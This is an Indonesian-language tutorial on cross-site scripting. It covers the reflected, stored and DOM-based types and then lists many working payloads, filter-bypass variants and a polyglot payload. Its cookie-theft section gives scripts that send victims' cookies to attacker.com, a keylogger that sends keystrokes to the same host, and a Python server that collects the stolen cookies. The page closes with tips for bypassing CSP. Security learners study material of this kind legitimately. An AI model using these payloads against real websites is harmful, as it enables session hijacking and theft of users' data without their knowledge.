Apa itu XSS?
Cross-Site Scripting (XSS) terjadi ketika attacker berhasil menyuntikkan script berbahaya ke dalam halaman web yang kemudian dieksekusi di browser korban. XSS memungkinkan attacker untuk mencuri cookies, mengambil alih sesi, melakukan keylogging, atau melakukan redirect.
Tiga Tipe XSS
1. Reflected XSS
Payload ada di URL/request dan langsung direfleksikan ke response. Tidak tersimpan di server.
<!-- URL vulnerable: https://target.com/search?q=<PAYLOAD> -->
https://target.com/search?q=<script>alert(1)</script>
<!-- Jika response langsung menampilkan: -->
<p>Hasil pencarian untuk: <script>alert(1)</script></p>
Untuk eksploitasi, attacker perlu mengirimkan link berbahaya ke korban.
2. Stored XSS (Persistent XSS)
Payload tersimpan di database server dan dieksekusi setiap kali halaman dimuat. Lebih berbahaya karena tidak butuh user click link khusus.
<!-- Komentar di forum yang menyimpan script: -->
Nama: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
<!-- Setiap user yang melihat komentar akan mengirimkan cookie ke attacker -->
3. DOM-Based XSS
Payload tidak pernah ke server — diproses langsung di client-side JavaScript.
// Kode JavaScript yang RENTAN
var search = location.hash.substring(1);
document.getElementById('output').innerHTML = search;
// URL: https://target.com/page#<img src=x onerror=alert(1)>
XSS Payload Dasar
<!-- Basic test -->
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<!-- Jika < > difilter, gunakan event handlers -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<!-- Tanpa quotes -->
<img src=x onerror=alert`1`>
<!-- Dalam attribute -->
" onmouseover="alert(1)
' onmouseover='alert(1)
javascript:alert(1)
<!-- Bypass filter dengan case variation -->
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<!-- Bypass tag filtering -->
<<script>alert(1)//<</script>
<svg><script>alert(1)</script>
<!-- Template literals -->
<script>alert`1`</script>
XSS untuk Cookie Theft
<!-- Basic cookie stealer -->
<script>
document.location='https://attacker.com/steal?c='+encodeURIComponent(document.cookie)
</script>
<!-- Dengan fetch API (lebih stealth) -->
<script>
fetch('https://attacker.com/steal?c='+btoa(document.cookie))
</script>
<!-- Menggunakan Image tag (bypass CSP tertentu) -->
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
<!-- Keylogger sederhana -->
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/keys?k='+e.key)
}
</script>
Server attacker untuk menerima stolen cookies:
# Simple Python server untuk tangkap request
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
params = parse_qs(parsed.query)
if 'c' in params:
print(f"[+] COOKIE STOLEN: {params['c'][0]}")
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
XSS Filter Bypass
<!-- Jika <script> diblokir -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body/onload=alert(1)>
<!-- Encoding -->
<script>alert(1)</script>
\u003cscript\u003ealert(1)\u003c/script\u003e
<!-- Double encoding -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E
<!-- JavaScript URL -->
<a href="javascript:alert(1)">Click</a>
<!-- Data URI -->
<iframe src="data:text/html,<script>alert(1)</script>">
<!-- Polyglot payload -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\ x3csVg/<sVg/oNloAd=alert(1)//>\x3e
Content Security Policy (CSP)
CSP adalah header HTTP yang membatasi sumber script yang boleh dieksekusi:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-randomnonce123'
<!-- Script dengan nonce yang valid akan dieksekusi -->
<script nonce="randomnonce123">alert(1)</script>
<!-- Script tanpa nonce diblokir oleh CSP -->
<script>alert(1)</script>
Test CSP bypass:
- Cari script dengan nonce yang bisa diprediksi
- Cari whitelist domain yang bisa di-abuse (CDN, JSONP endpoints)
- JSONP callback injection pada whitelisted domain
unsafe-inlineatauunsafe-evaldalam policy